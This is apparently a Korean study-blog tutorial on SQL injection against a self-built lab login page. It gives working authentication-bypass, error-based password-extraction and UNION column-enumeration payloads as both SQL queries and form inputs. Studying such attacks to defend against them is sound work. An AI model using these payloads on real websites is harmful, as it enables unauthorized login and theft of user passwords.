구성 환경
Webserver: WindowServer2000
Client: Window7
- 윈도우 서버에서 기본적인 웹서버를 구축 후 테스트한다.
1) SQL Injection 이란?
사용자가 서버에 제출한 데이터가 SQL Query로 사용되어 Database나 시스템에 영향을 주는 공격 기법
1.1) 웹 애플리케이션의 일반적인 인증 절차
1. 로그인 창에 아이디, 패스워드 입력
2. SQL Query 생성
3. Database에 Query 전송
4. Database에서 Query 실행
5. 반환되는 Return 값에 따라 인증 여부 판단
2) 웹 페이지에서 로그인 인증 우회
- query문을 이용하여 정상적인 사용자 ID와 패스워드를 입력하지 않고 로그인 인증을 하려고 한다.
2.1) Query문에서의 로그인 인증 우회(FALSE OR TRUE = TRUE 조건 이용)
- user_id ='' → FALSE, '1' = '1' → TRUE 이 두 조건을 OR연산을 하므로 모든 조건이 TRUE가 된다.
<Query 문>
use webhack;
select user_id, user_pw, name, email, homepage
from member
where user_id=''or'1'='1' and user_pw =''or'1'='1';
2.2) Web Browser에서 로그인 인증 우회(FALSE OR TRUE = TRUE 조건 이용)
- 사용자 ID와 비밀번호를 'or'1'='1로 입력하여 로그인한다.
- 해당 값을 웹 페이지에 적용하면 DB Query문에서 TRUE로 인식하므로 nuno 계정으로 로그인된다.
ID: 'or'='1'='1
PW: 'or'='1'='1
2.3) Query문에서 로그인 인증 우회(비밀번호 주석처리)
- 비밀번호를 주석 처리하여 TRUE값을 만들어서 아무 비밀번호를 입력해도 로그인 인증 우회가 가능하다.
<Query 문>
use webhack;
select user_id, user_pw, name, email, homepage
from member
where user_id=''or'1'='1' --'
2.4) Web Browser에서 로그인 인증 우회(비밀번호 주석처리)
ID: 'or'1'='1'--'
PW: 아무 문자나 상관 없음
- 비밀번호를 입력하지 않아도 SQL Query문에는 TRUE지만 ASP파일의 해당 조건에 걸리게 되므로 아무 값이나 입력한다. (비밀번호가 틀려도 Query문에 의해서 비밀번호가 모두 TRUE가 된다.)
2.4) Query에서 로그인 인증 우회(ID를 아는 경우)
- 위의 방법을 이용하면 사용자의 ID만 알고 있다면 비밀번호를 알지 못하더라도 로그인 인증 우회가 가능해진다.
<Query 문>
use webhack;
select user_id, user_pw, name, email, homepage
from member
where user_id='peemang'--
2.5) Web Browser에서 로그인 인증 우회(ID를 아는 경우)
ID: peemang'--
PW: 아무 문자나 상관 없음
3) 변환 에러를 이용한 데이터 알아내기
- 문자열과 숫자 데이터의 비교 연산은 형 변환 에러를 유발하며 문자열 데이터를 에러 메시지에 포함하게 된다.
- ' 와 같은 문자를 입력하여 에러 유발 시 Column명이 도출될 수 있다.
- 사용자 ID에 '를 입력한다.
- 웹 브라우저 오류를 표시하지 않기 위해서 인터넷 옵션에서 HTTP 오류 메시지 표시를 해제한다.
- 데이터베이스 Error Log를 확인할 수 있다.
3.1) Query문에서 Error확인
- 이 방법을 이용하면 user_pw를 문자 형식 데이터(varchar)인 user_pw를 정수형(int) 데이터인 1과 비교하면서 형 변환 에러가 발생한다.
- 에러 발생 과정에서 사용자의 패스워드가 노출된다.
<Query 문>
use webhack;
select user_id, user_pw, name, email, homepage
from member
where user_id='peemang' and user_pw=1
3.2) Web Browser에서 Error확인
- 이 방법을 웹브라우저에서 적용시키기 위해서는 ID 입력 항목에 다음과 같이 입력한다.
peemang' and user_pw=1--
- 형 변환 오류가 발생하면서 사용자의 패스워드를 알아낼 수 있다.
4) UNION을 이용한 데이터 알아내기
- UNION을 이용하여 mismatch를 발생시켜 Select 구문에 사용된 Field의 개수를 알아낼 수 있고 문자열 데이터의 경우 그 데이터를 알아낼 수 있다.
4.1) Query문에서 Error 확인
- member 테이블 안에 있는 peemang의 ID와 비밀번호, 이름과 board테이블에 있는 게시글 이름과 비밀번호의 합친 결과를 출력한다.
- 반환되는 칼럼 숫자가 동일해야 UNION이 적용된다. (동일하지 않으면 에러 발생)
<Query 문>
use webhack;
select user_id, user_pw,name from member where user_id='peemang'
union
select strName,strPassword from board
- UNION은 Type변환 에러와 Field 값 일치 애러 중 Field값 일치 에러가 우선순위가 높으므로 형 변환 에러가 뜰 때까지 1을 1개씩 대입해보면 Field의 개수를 확인할 수 있다.
- member 테이블에는 11개의 Field값이 사용된 것을 확인할 수 있다.
<Query 문>
use webhack;
select * from member where user_id='peemang'
union
select 1,1,1,1,1,1,1,1,1,1,1
- 다음과 같이 1개씩 문자형으로 만들어서 각 Field 값을 파악할 수 있다.
- Field값들을 보면서 어떤 유형의 값인지 확인할 수 있다.(ID, PW, NAME, ADDRESS)
4.2) Web Browser에서 Error확인
ID: peemang' union select 1--
- Field값 일치 에러가 발생한다.
- 1을 1개씩 계속 대입하다 보면 Field값이 5개인 것을 확인할 수 있고 첫 번째 데이터(peemang)가 형 변환 오류가 발생한다.
ID: peemang' union select 1,1,1,1,1--
- 1개씩 문자열로 바꿔서 로그인하면 정수형 이외의 Field값들을 확인할 수 있다. (정수 값은 확인이 불가능하다.)
ID: peemang' union select '1',1,1,1,1--
ID: peemang' union select '1','1','1',1,1--
'Hacking & Security > Web Hacking & Security' 카테고리의 다른 글
[Web Hacking & Security] Blind SQL Injection 공격 (0) | 2020.01.07 |
---|---|
[Web Hacking & Security] SQL Injection을 통한 Database Schema 파악 (0) | 2020.01.06 |
[Web Hacking & Security] CSRF (Cross Site Request Forgery) 공격 (0) | 2020.01.03 |
[Web Security & Hacking] XSF(Cross Site Flash) 공격 (0) | 2020.01.02 |
[Web Hacking & Security] NC(Netcat) 사용방법 (0) | 2020.01.02 |
공부&일상 블로그
포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요! 질문은 언제나 환영입니다😊